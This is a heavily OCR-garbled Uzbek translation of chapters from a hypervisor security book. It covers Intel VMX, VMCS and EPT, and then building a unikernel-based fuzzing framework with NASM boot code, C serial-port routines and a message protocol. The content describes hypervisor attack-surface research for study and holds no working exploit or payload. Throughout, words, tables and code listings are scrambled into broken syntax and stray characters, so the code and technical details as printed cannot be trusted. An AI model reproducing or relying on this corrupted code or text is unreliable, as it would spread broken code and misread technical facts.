g&erz:fl).m rc'“smlgialjzya:; IE;EI::L VMX ngn-root r'ejimic-ia bo‘lga;r ;’I\\ﬁ r?:;l?:a,::
dayqrino,' ;;:; a{sida kodni bajarishi mu.mkn_u shu b11aln l:.lurgcz;;l::pbpiri i
siya ke%lgaytrjnalari tomonidan hal qilinadigan cheklovlar

Muammosidir.

Intel Virtual :
va ikki yangi protsessor ish
VMX non-root operatsiya rejimt.
Kabi, VMM dasturi ishlaydi. VMlar €
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Eslatma: Ba'-i Rine
Ular aslida VA & - e MUnTY biry haoida o vishlart maums
ar-aslida VMX root rejimini nazar I o
darajalari bilan alogador emqs shit

kashiik tue diradi mng uchun “Rine -]

f
Lie

Root rejimidan non-root rejimj
non-root rejimidan root rejimiga ot

feh atash fagal t'ff‘v’!

o
LB

‘da i / : i ring
a tutishadi. 1°A1\ operatsiva rejimlari g

ga o'tish VM-Enter deb ataladi. aksinchd:

8a o'tish VM-Exit deb ataladi. VM-Exit usulini

Gol ' i
dbergning apparat virtualjzatori tasy

N Ly ey i e, VMK
tan VMM endj virtualizatsiya magsadlarida 1DTdan

P : _] i. l i 1 S d

VMX root reiimi i
' Jimida ki
al ma'shma nazorat stry .
qrqah VMM ko‘plab vi
rishlarining Xatti-harak

mumkin ho'|

klUFaSEEa (VMCS) dcygan ma’lumotlar tuzilmasi virtu-

Mualizatsiya jihatlari viladi. Ushbu tuzilmani boshqarish
atlarini nazorg a.]?r'f“dllmladan. VMX rejimlari 0774
- Glishi mumkin. Odatda, har bir VMning

iin 2}’ Protsessor (yoki SMT hisobga ol-
Jorly” VMCSga ega bo'lishi mumkin.

am tasniflanishi mumkin, ushbu muro-
a qilinadj.

maydoni VM.y: . .

i:nt vaqtida virtual protsessor holatin'
i, Pl I?Olati“i yuklash uchun ishla-
s hqarilishj kerak b()?[{ rejimlari orasida xavfsiz ()'115]'.l
RIR RSP RF AGs. o Kerak: gan minimal holatni ifodalayd!

) Nazorat registrlari, DRy
Segment re l

b ; gistrlarin;
qiymatlari, LDTR Ng selector. iy
i vaT s klnsh . g
. MSR 1A32 EF[? DTR va ][)'[‘R 3 thUQIaI']« bazaviy va chegara‘”r}i’
% a

n .
R, IA32_SYSENT "¢ bazaviy va chegaraviy giymat!

IA32 SYSENT
< ER E E
_EIP R_CS. 1A32_SYSENTER_ESP: 2

' VMCS 13
Ning protsess

Xost-state? ma
d .
it y oni, guest-state Maydon: M
ar bir v ydoniga qgarshi bo‘lib. VM

or holatin; ifod

layd

M-Ent .aaydi. Xogt. s i
Cr vaqtida saqlanad;. State hay bir VM-Exit vagtida yuklaﬂﬁd'

VMX non-ros -ie... * MCS ng
-TOOt rejimin; AzZorat
VMCS nazora Jhiting xam“haraka??ydonchﬂ]ari

" t maydo i
nini berad;: Ydonchalari Mavjud, Ularncl[l:a'-”ab boshqarish mumkin bo‘lga”
* Qaysi vogealar v Yidagilarni amalga oshirish imKY”

-Exit nj keltirip chigarigh;
S
I?(J} I

Mumkinligini boshqarish-

irlagan dasturiy ko*rinmas tuzogga 0'x"
apeErazsva repimilary Grilan Korntled?

« VM-Exit va VM-Enter o-tishlarini boshqarish, protsessor holatini saglash
haqida ma’lumotlar bilan birga. VM-Enter holatida, uzatishlar va istisnolarni sin-

tetik tarzda yaratish mumkin (“voqealarni qo*shish™).
» EPT. APIC virtualizatsiyasi, cheklanmagan foydalanuvchi va VMCS soyali

kabi turli virtualizatsiya xususiyatlarini sozlash.
« Tizim resurslariga (10 va MSR bitmaplari) kirish huqugini berish. Bu, ap-
paratga kirish imkoniyatlariga ega bo‘lgan imtiyozli VMlarni yaratishga imkon

beradi.

VMCS VM-Exit ma'lumotlar maydonchalari

VM-Exit voqgealarida bir nechta VMCS maydonchalari vogeaning tabiatiga
oid ma’lumotlar bilan yangilanadi. Eng muhim maydon - exit-reason maydoni
bo-lib. bu VM-Exit sababini kodlaydi. Boshqa maydonlar vogeaga xos ma’lumot-
lar bilan to*ldiriladi: ulardan ba'zilari exit qualification (chiqish malakasi), inst-
ruction length (buyruq uzunligi), instruction information (buyruq ma’lumotlari),
interruption information (uzilish ma’lumotlari), guest linear address (foydalanuv-
chining chiziqli manzili) va guest physical address (foydalanuvchining jismoniy
manzili) kabi ma’lumotlarni 0°z ichiga oladi.

VM-Exit Sabablari

VM-Exit lar sinxron yoki asinxron bo*lishi mumkin: ikkinchisi tashqi uzilish-
VMX preemption timer kabi manbalardan kelib chigadi. Sinxron VM-
atlari natijasida yuzaga keladi va ular shartli yoki shartsiz
bolishi mumkin. Fagat juda oz sonli buyruqlar shartsiz VM-Exit’larni keltirib
chigaradi (CPUID bular jumlasidandir). golganlari VMCS konfiguratsiyasiga (na-
zorat mu}-’donchalari) qarab shartli VM-Exit ni yuzaga keltiradi. Nazoratga sezgir
buyruglar har doim VM-Exit’larni keltirib chiqaradi, deb o*ylash mumkin. ammo
VM ga tizim resurslariga kirish imkoniyati berilishi mumkin, shuning uchun bu
har dhoim to'e‘ri emas. Boshqa tomondan, hech qanday zarar yetkazmaydigan
asalan, PAUSE buyrugni VM-EXit keltirib chiqarishi uchun sozlash
holder preemption muammosini hal gilish uchun). Boshqa sezgir
nonidan (shartli VM-Exit) yoki to*g‘ridan-to‘g'ri virtualiza-
dan ishlov berilishi mumkin. Nihoyat, bu bobda ilgari gapir-

7oir buyruglar hozirda to*g‘ri ishlov berilishi mumkin.

lar yoKi
Exit’lar VM xatti-harak

yuyruqlar, m
faumkin (bu lock
biyruglar VMM tor!
lsiya apparat tomoni
gandek, imtiyozsiz ¢

EPT

exanizmi asosida MMU ni virtualizat-

jud paging m '
mavjud p ko‘rdik. Shadow paging murakkab va sahi-

i shuning uchun bu holatni yaxshilash
ab chiqildi, bu texnologiya
Intel SLAT ni Kengaytiril-

Biz shadow paging SLTAn
Slya qjtjsh qanday amalga gshmhslntm e
fa-jadve| Yaﬂgi]a“ismari qimmatga > logiya ishl
Magsadiga yangi aPPare! yordamida tcxnc:i t?);aladi
Ikkinchj Da};aja Manzil Tarjimas! (SLAT) deb a :

£an Sahif, jadvali (EPT) orqali amalga oshiradi.

&




.Qisc.]asi._ EPT sahifa-jadvaliga o°xshaydi;
VA la‘r;n ?,?']ga tarjima giladi, EPT esa GPA'larni S
rejimida ish i

i ayotgan VMM EPT multileve] sahifa-jadvallar to*plamini o°rnatishi

va saqlashi kerak. Narn; : s
rak, ular GPA’larni SPA ga tarjima qilish uchun ishlatiladi. Yuqori

darajadagi EPT ko*rsatkichi
- 1 (EPTP) VMCS nazorat maydonchalaridan birida saq-

Foydalanuvchi t : s
sahifa-jadvallardan f?}mc([) n]datlf b-lz V/f. larni PA’ga tarjima qilish uchun odatdagi
uchun CPU avval foyﬁa?aam]ad!; 'asllda bu GVAlar va GPA’lar. Sahifaga kiri;h

nuvchining sahifa-jadvallarini ko*rib chiqib. GVA“dan

farqi shundaki. sahifa-jadvali
PA’ga tarjima giladi. VMX root

lasak, sahifa-jadvallar :
g -na H
GVA'dan SPA’ga tarjin:ba “fc]? sifatida vq EPT

CPU foydalanuychin;
bir daraja (long-mode’da: p
o*tadi, ya’'ni har bjr sahifa
kerak. Bu *“2-0°Ichaml; sa
qadamida keshning yutqa
tarjimalari shadow pagin

¢” birikmasi Oant;;’z;p; |Z£a(t,i5(:firﬁz;;ii_ni5hi mumKkin.
. gllga-Jsdvallarini ko'rib chigqanda. it
_j.adVal darajasi:EP,I’, mT) G'PA f)rqali _I“'C}-'ingi dz.u"a_l'al_lff.l
hifa yurish» deb atala iexamzml orqali tarjima (]III].)']Sh'I

vVa eng yomoni (har bir larjlm:l

Zilishi) 24 xofi
tira y
a'dan fa yuklash ta]ap qilinadi. Garchi manZ!

eng katta afzalligi sapify.: qimmatroq ho¢ficp: .
jiigve ahifa- "H0q bo*lishi m : den Aa EPT nINE
lishi, shu bilan birg Jadval Yangilanigh]ayi migirli[?km bo*lsa-da. EP1 l}llll“..

an-to°g‘ri amalga osht™”

a, trap’ o3
soddalashtirishdir. P’lar sonin; kam

aytirish va vvm amalga oshirilishin!

1Sahifa-jadvallari bilap Bipa:
sahifaga xaritalash i mKkonip; beXILtaera
rad;

l?E}

irish yy

: ik
Mavjud bo‘lmagan ﬁf;b

Nishlarj VM-Exit’22©

e B

jum yuzasini o‘rganish uchun is

keladi. Bunday trap uchun asosiy chigish sababi EPT-violation hisoblanadi. Bun-
dan tashqari. chigish malakasi va mehmon fizik manzil maydonlari o*rnatiladi.

Ayrim hollarda. EPT to°liq ko*rinmas bo*Imasligi mumkin; ishlashni yaxshi-
lash magsadida, EPT bilan bog'liq funksiyalar VMenlarga ko‘rsatilishi mumkin.
Ushbu funksiyalardan biri EPT-switching (VMFUNC instruksiyasi bilan chaqiri-
ladi) funksiyasidir. bu mehmonlarga EPTP’ni aniq bir VMM tomonidan belgilan-
gan qiymatlar ro*yxatidan almashtirish imkonini beradi.

Yana bir muhim xususiyat, Virtualizatsiya [stisnolari (#VE) hisoblanadi. No-
midan ko*rinib turibdiki. ushbu xususiyat virtualizatsiya bilan bog'liq istisnolarni
mehmonlarea IDT vektori 20 orqali yetkazish uchun ishlatiladi. Ushbu xususiyat
Conver{iblehEP'l‘ Violations bilan birgalikda ishlatilishi mumkin, shunda EPT-vi-
olation sodir bo‘lganda, bu VM-Exit’ga olib kelmaydi. Buning o‘rniga, mehmon-
larga #VE yetkaziladi. shuning uchun VMM ’ga trap’lar yuborilmaydi.

Xulosa
Ushbu bobda umumiy virtualizatsiya tushunchalarini ko‘rib chiqildi — nazariy
modellardan x86 arxitekturasidagi aniq amalga oshirishlarga o‘tildi. x86 arxitek-

turasinine dastlabki cheklovlarini va ularni bartaraf etish uchun qo*llanilgan usul-

larni muhokama qilib o*tildi. hypervisor dasturiy ta’minotining rivej lanishi va x86
virtualizatsiya kengaytmala-

arxitekturasining 0*zgarishini. shu jumladan, apparat
ri joriy etilish usullari ko'rib chigildi. . N o

Keyingi bobda ushbu bilimlarni turli hypervisor amalga oshirishlarining hu-
o hlatilinadi: eski x86 modellari, zamonavly ap-

igan amalga oshirishlar va paravirtualizatsiya

parat imkoniyatlaridan foydalanad | Vi 3 irtug
g higa olganlarning tahlili o*tkaziladi.
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24-BOB. TADQIQOT FREYMVORKINI
YARATISH

Ushbu bob quyidagi mavzularni 0°z 1f:f.uga f)l?:. S
* Vaqtincha foydalanuvchilarga tasir giladigan gip

‘e il bajari ikernel ishlab
’ rgmz.l‘sg' turlash tilida har qanday guest kodini bajarish uchun unikernel is
* C dastur
chiqish.
* Test o
Python skriptlarini ishlab chiqish.

. adigan
fuzzing magsadlari uchun unikernelga maxsus kod yuboradig
va g

‘umi ko‘lamini gisqacha muhokama qilish bilan
oipervisor hujumi ko‘lamini gisqacy o s
L_ish'bu b(}:]blj]ps: :;Zqiq qilish uchun ib)-'dalanlladl.gan. asosr'n ‘if]?bi]}:li ::Shhﬁ
boshlamb.lz_a o almb oladi. Ushbu bobdagi laboratoriya 1shiag_m ajari
‘7 ichiga gamra . : S “ladi.
]C]‘aig?’iilfo::ct;ljri bo*yicha ilg or darajadagi l?lllln l\e.r::z'bo adi
Us)ilbu bobdagi kodlar GitHub platformasida mavjud:

So— kine/G HHv6.git
S git clone hups:/github.com/Gra) HatHacking/G

0 - iri ‘lgan ishlab
D dni varatish va ishga tushirish uchun zarur bo‘lg
1 ‘ < L= -
ckerfile — bu kodni ye
. - - - - - ’ :
chigish muhitini ta minlaydi

S ed GHHv6/ch2H/ ‘
S docker build -t kali. )
bu KVM (Linux’dagi standart) bo*lib,

i digan gipervisor = 5 B ¥ rilmasini
Ushbu bObdfl ;thklaifl:gijn?kinteynerda ishlatish uchun /dev/kvm qu
U xostga o‘rnatilishi kerak.

qayta yo*naltirish kerak, masalan:

= Kv ] ] sh
S dock.fr run --fu’l:"l'i('e -'d(.’l',f.r{ =it kﬂh hﬂ | |
yneri i < ida topish mumKkin.
C i Docker konteyn¢ idagi /labs katalog p
Barcha kodlarni

f tomonlari

i guruhlarga ajratish ko‘rib otildi: zararsiz,

Hypervisor tizimining zal

Oldingi bobda ko'1:satn1f11a1'ﬂt10t]ig’1ida,] ochilgan f_unksionalh?kntmig *’;'Okzlg:;l?
Sezgir va boshqalar. GIPETVIEY' o 'y chadigan “°'r5"‘”"-al?§’atazogdaﬁy guest
mi VMM (Virtual Mas,h‘“a.hg rsatmalardir. Bu Ring-0 dalfillast; da s qrt ek o
Lllarning aksariyati imtlyOZ]I ’ bo‘lishni anglatad'_- Bu mazkur tadq
dastur kodini bajarishga qoilrdarajasi hisoblanadi.

bul qiladigan dastlabki kiris
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Virtualizatsiya to*plami bir nechta komponentlardan iborat bo*lib. ularning
har biri turli imtiyoz darajalarida ishlaydi. Zaiflikning ta’siri ta’sirlangan kom-
ponentga bog‘liq bo‘ladi. Eng yaxshi ssenariyda VMM ni (VMX ildiz rejimida)
to'g’ridan-to‘g*ri imtiyozsiz guestdan buzish mumkin. Shu bilan bir qatorda, xost
yoki imtiyozli guest (root-partition/dom0) ichida yadro rejimini bajarish mum-
kin va eng yomon holatda ham — stek — foydalanuychi rejimi bor. Komponentlar
bir-biri bilan o*zaro ta’sir qiladi, shuning uchun kamroq imtiyozli komponentni

buzish hujum ko‘lamini kengaytirishi mumkin, by €sa yanada imtiyozli kompo-
nentlar bo‘ylab xato zanjirida ishlatilishi mumkin.

Quyidagi rasmlarda 2-toifa gipervisor v
nentlari ta’sir giladigan hujum ko‘lamining

a |-toifa gipervisorning turlj kompo-
umumiy ko‘rinishj keltirilgan.

T ——
|
Xost OTkemeli ¢ Ishehi jarayonlari g Mehmon
”””””””””” ——— VM
VMM drayverlari . e Foydalanuvchj —

Yugori imtiyozli Quyi imtiyozli

—

e ——

———

Root—-partitionfdomﬂ VM

VMM

- . J - )
OT kerneli | Ishehi jarayonlari Mechmon
~~~~~~~~~ i o V
*Backend’ - — M..
! ﬁ{a}fveflari ______ t Fc?}'da!anuvc]11 | |

Yuqori imtiyozli |

machine control
Ngan yo‘rignoma
nt davom ettiradi.

ko‘rsatgichidan (VMX root-

udida saqla
Bu (ba’zi holatni

ida ishlash

i ! iqi lari uchun ta’riflar
Linux yadro manbalarida mumkin bo‘lgan chiqish sabab
atini q i i topi in:
ro‘yxatini quyidagi havola orqali topish mumk

blob/master/tools/arch/x86/include/uapi/asm/vmx.h.
hitps:/ github.com/torvalds/limu/blob/maste

- . i hodisalar tufayli yuzaga
Ushbu chigish shartlarining ba zilari 11'11kcn1512(rt;sél‘1é]1ki'1c1c:‘1i€:1 ratsiyazi'ﬁay qar:b
y = . kl V oniig =) :
) , cususiyatlariga yo g i bajarish
kelgan yoki muayyan CPU xu e, csus ko‘rsatmalarni baj
ma;;ud'emas) lekin ularning ko*pchiligi guestda maxsus

orqali ishga tushirilishi mumkin.

NIT REASON IO INSTRUCTION.
. Usibu bobning oxirida EXIT r'\}_,ll.\(l)!.}é o ofos osmaalicn
i;.‘f{f’,}"'o 'l'!\!’ 1”!]}) r(" }\[f "',\]{‘]\.()\ .1}'“\}'? 1 p L )
EXTE REASON SR KE, L

hir nechia fuz=zerlar voziladi.

i lami iy xotiraga asoslangan

VM-Exit shartlaridan tashqari. hu,]Lfm .ko laml' ur::;l;;]}; N
sloga mexanizmlari orgali ham tasir gilishi e iraga Kirich (DMA) yoki VMBus
gaonqa{: 1;“ quri]malaridagi to‘g‘ridan-lo‘% rll.mtlraD

Yoo ishlatiladigan buferlar. _ _ '
L . idan ishlatiladigar ; . P —
}.Ol\l VIRTIO [0!‘[‘10[11(51; \,Ordamida virtualIZﬂISI)’aga ta};anma}d g gip

Va nihoyat. apparat

irgi k lgan
i zirei kunda keng tarqalg
Katt hujum maydonini ochib beradi. ammo bular hozirg
attaroq hujur

magsadlar emas.

ikernel ; -
c‘ij Il]zll:flvchi ouest VM’dan o‘zboshm:fﬁﬁlék
B e idan biri a
x o usullaridan bi
: ir bo'lishi kerak. Buning dro drayve-
i : codini bajarishga qodir b.o -~y kodni bajarish uchun yadro dray
bilan Ring0 Lodm{ bd;l:: ngli OTda ixtiyoriy 1'\odn1 Ibfﬁinuammolarga ega. Birin-
O"rnatilgan ._unu'njlll}’c;' ‘%}imq bu yondashuv blr.gec h aodeterminizm - e
rini amalga oshirishdir. . i katta. Ikkinchidan, nodeter  iritilads
- : ceki hajmi katta. - ifalar orqali kiritiladi.
S T g b?km ‘jzidajbajar“adigan ar nechta_;;fi talablar bilan amalga
Muhitida bir vaqining ](:jini olish uchun unikernel quyidag
Ushbu muammolarni o

i i s e arali bo*lishi kerak.
et ; donga ega bo'lishi va sam ishish odatiy holdir.
DI Uade ;na(})g::;:tiklanmaydigan holatga erishis
i clash. Qa)
* Tez (qayta) YU]j hi
Shuning uchun qayta ishga “:)S 15
* Chidamlilik. Yadr-o yar n('i e
richa uzogqroq ishlashni davo
ishga tushirilishi kerak- g
"+ Anig natija(Determinizm)- Lo
. el o himdife ‘zgarishlarsiz ishlashi
' unga imkon q htirish uchun mu ! valarida katta o'zgarishla
holatlarni minimallas T na gipervisor i
* Portativlik. U ko' pg

erak.

Yugorida aytib o‘tilganidek, foy

rilishi kerak._
iz holatdan 11
ttirishi kerak. Agar

i cat qilishi va iloji bo-
ishga harakat q1|15. ]
s gbuning iloji bo‘Imasa, qayta

erminizmga erishish mumkin emas,
TcleBu xatolarni kamaytirish va noaniq

&




Laboratoriya ishi 24.1:
Virtual mashinani Yuklash va aso

siy aloga Jarayonlari
Yadroni yuklash uchun 0°z yuklash mos]

i, - gipervisorlar BIOS-ni yuklashni
va/yoki UEFI’ni qo‘llab i :
lasidan ham yuklash uc

in uzoq rejim (long mode)ga

o°tadigan ba’zi yuklagh kodlari bilan amalga oshirish:

' bootstrap.asm
extern kmain
global stary
[bits 321
[section .bss]
align 0x1000
resb (2000
stack_top:
pd: resb 0x1000 * 4 74 PDs = aps 4GB
pdpt: resb 0x1000 - 1 PDPT
pmid: resb 0x1000 - | PML

[section .data]
gdt: ; minimal 64-pit GDT
dg OxOOOOHOOOOOOOOOOO
dg 0x004095000000

Wi : kernel cS

dg 0x00C093 0000005 - kernel DS

gdt_end: ; TODO: TS5
gdtr:

dw gdt end - gdt-] GDT limit
dq gdt ; GDT base

[section .text ]

align 8, db 0

5 multiboot2 headey

mb_header size eqy (mb_headey g _
mb_header:@ 3

dd OxE85250D6 i magic field
dd 0 ; architecture field: 1386 32-

bit Protected-io e
178 }

mb_headey)

et |

r,

{j{j :::?ﬂ;;?;;{??ﬁizg ;Jf;gg;‘fiﬁ::ﬁfjiig;-_sf:e) ; checksum field
[£(¢ 5 I RLEA -

[ termination rag
dw 0 ; rag type
dw 0 ; rag flags

dd 8 ; tag size

mb_header end:

:: kernel code starts here

start:®

mov esp. stack_lop

mov edi, pd

mov ecx, 312%4

mov eax, Ox87

init_pde:®

mov chvord [edi], eax

add eax, Ox200000

add edi, 8

(C!I‘.'(,b [ {90
Jnz inir_ pde _

mov dword [pdpt]. pd + T TG0T
mov dword [pdpt+0x08], pd - 0x2007
mov dword [pdpt+0x10], pd * .‘}-\-:i'(»'ﬁ s
mov dword [pdpt+0x18], pd + -

moy eax, pml4 _

mov cword [eax]. pdpt + .

mov cr3, eax ; load pdgu-mhf(’ﬁ

mov ecx, (xCO000080

rdmsy .

or eax, Ox101 ; LME | SCE

wrmsr@® : set EFER DT

lgdl [gd1r]® ; load 64-bit G S | BAE
mov eay, Oxlba ; PVI| DE| F< o
mov crd, eax i | PE| MP | TS| ET|
Mov eax, (J_\-,S'O(J()ﬂ(}}h i PG |
mov crl), eax®

Jmp 0x08:code64@

[bits 64]

code64:

maov ax, Ox10)

mov ds, ax

mov es, ax

mov ss, ax

call kmain

PGE | PCE

iqari direktivalar

ini chigarish uchu.n .
athfSE:ﬁfadifl va birinchi 4 GB xotira-
rER registrida Long Mode E.I.lable
i yoqish va uzoq rejimga

<l?9

iboot2 sarl

text bo‘limi minimal MUI;;ZOB KB stek 0

llan boshlanadi. Kirish nud  ingi qadamlar EFe jingn
hing 1:1 xaritasi yaratiladi. Ke(y]DTni yuklash, PeY

ayrog‘ini o‘rnatish, 64 bith




oshiradi va odaq, uni xostdagi IPC (Inter-Pro-
mlariga, masalan, socket|ar voki kanallar orqal}
84 asosiy ketma-ket port go*llab-quvvatlashin

qo‘shish quyidagicha amalga oshiriladj-

*common.e */

Statie uint} 6 ¢ SerfafPo;'r = Ox3f8: /% TODO:
Static void outh (i 1 6_t por .

_asm

/

. set it d'.wamicaih‘ o /4
1 uint§ ¢ yqy) ! ‘ o

__volatile_ ("o, %0, %] .. v n

2 a"tval), "N{f”{ﬁﬂ!'-’)}.‘o

Static uint§ ¢ inbtuint 16 ! pory) ¢
uimis_{ rey;

_asm__ —_volatile_ (", %1, %" - n_

return ret;

/
void setup

=a"(rey) - Nd"(pory)).@

_serialf) {®

outh(SerialPoys + 1, 0x00) /% .
, e i*d .
outb(Serialpoy £4. 3 Diwtro nsabb!e terrypgg %,

orffb(Ser."a!Pon +0, 0x07 ); /% i
’ ' d q =

outb(SerialPory + | 0x00), /% d:::;: ;’o:h;:’ (115200

fofb(S(’H'ang;-f +3 01‘03) Ty Hgh=p */

)i 7* enable DLAB #

baud) =/

outb(SerialPoys + 2, 0xC7): s+ F-‘ % "0 parigy, | Stop bir *,

outb(Ser‘Im"Por.f +

void 11':'ile_seria!(consf Void *
CONSt uint8 ¢ *ppyp — datg;
while flen) ¢

 Clear; 14

4, 0x03); /= DTR/RTg +; ** Vl€ threshojq +)

alg, Unsigneqd long len) 1@

if (.’(inb{SeriafPorr +3) & ox2p )

continue;
len -= j.

outh (SerialPory, ptr++).

/

void read_serialfvojq *da
UintS_t *ppp < data;

ta, Unsigne long len) ®

while (len) ¥
if (!(inb(SerialPoys + &)
Conlinue; /* TODO: Yield Cpy; */

Yptr++ <

/

18(}}

.f'nb(.S'eria.'Pow);

nechta o*ramlar yoziladi. Setu;{_.sena] ]fﬁ
da ketma-ket portni ishga I”Shm,Sh ucr'lia
motlar oqimini uzatish uchun write_se
uchun read_serial-ni qo‘llanadi. Yisl i
masalan, ketma-ket port tayyor bolis kmain-ni qollash mumkin:

‘lgan O -TB va INB uchun bir
i ismiea kerak bo‘lgan OU ihon bl
e qlsmi&anksivasi 115200 standart LL:ZEII]Sh tezl |[g|
n ishlatilishi mumkin. Xotlradan me}rur-1
I'ni qo‘llash mumkin va uni qabul gilis

Bu amalga oshirishlar ba’zi kamchiliklarga ega,
u

1ini kutish kabi.

Endi yadroni sinab ko*rish uchun

* main.c *

void kmain() |

setup _serial(). orld!”. 12);
write serial(* Hello world.

asm __ volatile__("hlt"):
/ ‘ iladi. Agar hamma
t o‘tkaziladi. Ag
"no QEMU/KVM da e dO boaladi:
Yadroni yaratgandan so'ng abari ekranda pay

-
. “Q unyo:
harsa yaxshi bo*lsa. “Salom d

E(F'u ot ghh6)-[/l abs/labl]
# make

- omitted for brf-’l"f*')' "-:’labf 7
troet GO display none
rr‘fqemu-s} stem-x86_064 -a:
. o atii )]
-serial stdio -enable-kvn

Hello world!

boot d -cdrom kernel_bios.iso -m 300M
-bo

rotokoli '
ztgkol ustida ishlashni bosh-

di). Protokol quyidagi talab-

2 : Aloq
«oa jshi 24.2: A
Laboratoriya 18 h uchun pr

) ' boﬂ‘]anis
Endi tashqi vositalar bilan r;ﬂjozlaf deb atala

n ula
lash mumkin (bundan buyo

ardan jborat: . shv
* Yadro ixtiyoriy kodni ey

1shlagh;j kerak.

[ s ini gayta
- ih uchun mijozning O rovlarini gay
a bajarl
ishi k.

b yuborishi kt?ra ",
g‘rgvlat'lli ko‘rib chigishga
*Jumot berishi kerak. .
hqari (OOB) xabarlarni

Jari bilan jav

: pajarish natijalart 2 5
* Yadro ixtiyoriy kOdn(;aT Jboshlanadx. U mijozg

; vir jda ma
. adro tomOMGE = .\ uhiti haqi
" A.Io'qE} y:ldl'(?'shi — arish Ididﬁ tarmoqdan tas
Yyorligini blld[i” skadrovka maqsd
* Yadro disk ra
u . 2 . 4, L Cai hi kerak.
' btfri?:é;?ﬁ.?:; l;zaxli*“gf te‘fs"“ﬂ;?dagi xabar
Ushbu talablarga asqsla“‘b’oq out—of—Bal'f‘dtan .
Javob, yuklash xabarlari ‘;ruvchan o*lchamli
©'Ichamli sarlavha va 0'Z

i kin: so‘rov,

:ni belgilash mum :
turlaﬂs:lrlarig. Xabarlar o‘zgarmas
‘ xadan iborat bo‘ladi. Sarlavha

‘ISI




Xabar turini va matn uzunligini ko‘rsatadi. u xabarni

ng asosiy qismi va sarlavhasi-
ning o°zi uchun yaxlitlikni tekshirish summalarini o

*z ichiga oladi:

/* protocol. h */
typedef enum {

MTBoot = UINT32 _C(0), MTRequest, MTReply, MTOOB, MTMax = MTOOB
P MT @

#define MAX_MSGSZ UINT32_C(0x400000) /* 4315 %/

tpedef struct

uint32 tlen;®

uint32_t checksum® /* body CRC32 */

uini32_t hdr_csum;® /* header CRC32 */

/ __attribute _((packed)) MsgHcr-

gi @, baytda (MAX_MSGSZ dan kam), tana tar
sarlavha tarkibining nazorat yig“indisini 0‘z ich
0°zi @ bundan mustasno,

Xabarning formati eng keng tarqalgan ma’lumot|ar tuzilmalarini kodlash
uchun yetarlicha moslashuvchan bolishi kerak, shu bilan birga ketma-ketlash-
tirish va seriyadan chiqarish jarayonlari oddiy bo[igh; kerak. O‘zboshimchalik
bilan koddan ma’lumotlarni ishjap chiqarish oson bo*lish; kerak va mijoz ham
ushbu ma’lumotlarni qabul qilishi va ylar bilan ishlashi oson bo*lishi kerak. Ush-
bu ehtiyojlarni qondirish uchun quyidagi turdagi

! _ ' qiymat]arnio‘zichiga olgan kod-
lash aniglanadi: butun sonlar. massivlar, satrlar va ro*yxatlar,

kibining nazorat yigindisini ® va
1ga oladi, hdr csum maydonining

typedef enum {
/* primitive sizes encoded in LSB #/

Ulnt8 = UINT32_C(0x001), U] 6 = UINT32 C (0x002),
Unt32 = UINT. 32 Cr0x004), Ulnt64 = U!NTJ,?__C (ﬁ.&‘ﬂO&'),
nt8 = UlNTJ.?hC(Ox.-’OI). Inti6 = UINT.L?_C(D.‘(!O.?).
Int32 = UINT32_C(0x104), Intg4 — VINT32_C(ox108),
PrimitiveMax = Int64, 3

/* Compound types */

Array = UINT32_C(0x400), 4

CString = UINT32_C(0x500), 5

List = UINT3 2_C(0x600),6

Nil = UINT. 32 _C(0x700)7
}TP:]

Vpedef union {
uintS_t u8; uintl6 tujg:
Int8 ti8; intl6 til6: int
} Primitive ;2

]82}

uine32  y32; uint64_1 u64;
32 1i32; int64_tj64;

: 32 bitli pr fiksdan boshlanadi.

. ‘yxatida belgilangan 32 bitli pre .

Har bir giymat TP @ bl I} k}z::-[[:jaasida Zniqlangaﬂ har qa“df‘y butun son turlari
i as' i sifatida kodlangan (PrimitiveMax © dan' past
ke qiymat. Murakkab tiplar massivlar,

Primitivlar Primitive_

bo*lishi mumkin. Ular TP prefi' sl bl

yoki unga teng). so*ngra mahalliy k.o e

- - e o1 . -ln‘

satrlar va ro*yxatlar bolishi mulmk dan keyin Array
Massivlar Array @ prefiksi va un /

lanadi:

t sarlavhasi bilan bosh-

vpedef struct |
wint32 ¢ count;
TP subrype; P
e ray_{;
! __attribute _ ((packed)) Array_ N
o B 1ing ibtidoiy turlari bilan che-
=

ini va ularr : ; 3
LR A vin elementlarning giymatlari

rni .
Ushbu sarlavha elementla Sarlavhadan ke

s il tareni kotrsatadi.
garalangan kichik turini ko p ‘ -
i i > . evi bo*lmagan bayt
0Zlarining tabiiy kodlashda kelad! bolib. undan keyin null
s ‘1o @ prefiksidan iborat bo-it il deglangan.
i O Il bayt qo°shimehas! in o‘zgaruvchan son-
larning o*zgaruvchan soni va nu va undan keyin 0°zg

i bi lanadi oot i har ganday
; (si bilan bosh 3 . o birinchi elementi har q \
" Ro*yxatlar Llstl? p{)eif]t\sllm juft bolib, uning birincl
I tugunlar keladi. Har o

, ‘lishi mumkin va uning
syxatlar) bo‘lis .
3 shqa ro"yx li tugun ro‘yxatning
S nladan, bo .+ Ni| @ prefiksli tug
Tprrchksh qiymat (Shutjlli];U keyingi tugunidir. Nil@p
tkkinchi elementi ro*yxatning
OXirini bildiradi. ——
Xabarning ta"riflari bilan

i i h mumkin:
hirish ustida 1511lashm boshlas
alga 0S

* protocol.c ¥
Struct msg_buffer |
unsigned int offset:
uint8 1 buff MAX_A 1SGSZ].
{-
1. ‘

- send_buf®
Static struct H?SS_E”Jﬁ}J Sm;: }Je‘d ®
Static struct msg_b”-[ﬁ_ﬂ ??C‘,' buf: @
Static struct msg_buffer recv_
bdefine PUT(b, v) ({
|

tpeofi(typeofiv)v) mpi® o
| + sizeof(V);
b->offse!

unsigned int new_offset = .
h fset && MAX_MSGSZ
=ajl- ‘*qﬁge!] TN o

new offset): !

assert(new offset > b- :
*(typeofitmp) *) g h-~buflb
\

b->offset — new_offset;
\

b




#define GET(v) (¢

unsigned int new_offset = recv_buf.offser + sizeoftv);
|

assert(new_offset > recv_buf offset & & MAX _MSGSZ > new_offser); |
v = *(typeofiv) *)&recv_buf-buffrecv buf. offset]:

recv_buf offset = new_offset;

Y

Birinchidan, xabarni yuborishdan o]
kerak (send_buf @) va kiruvchi xabarlar
OOB xabarlari uchun qo°shimcha(extra)

xabarni tuzish o‘rtasida disk raskadrov
axlatga tashlanmaydi.

Ma’lumotlarni buferga va buferdan

din uning tanasinj yaratish uchun bufer
uchun bufer kerak @. Shuningdek, fagat
bufer ® belgilanadi. shuning uchun agar
ka xabarlari yuborilsa, send_buf tarkibi

‘ _ : : uf nusxalash uchun bir nechta makroslar bel-
gilanadi: GET giymatni qabul gilish buferidan nusxa ko*chiradi, PUT esa qiymat-

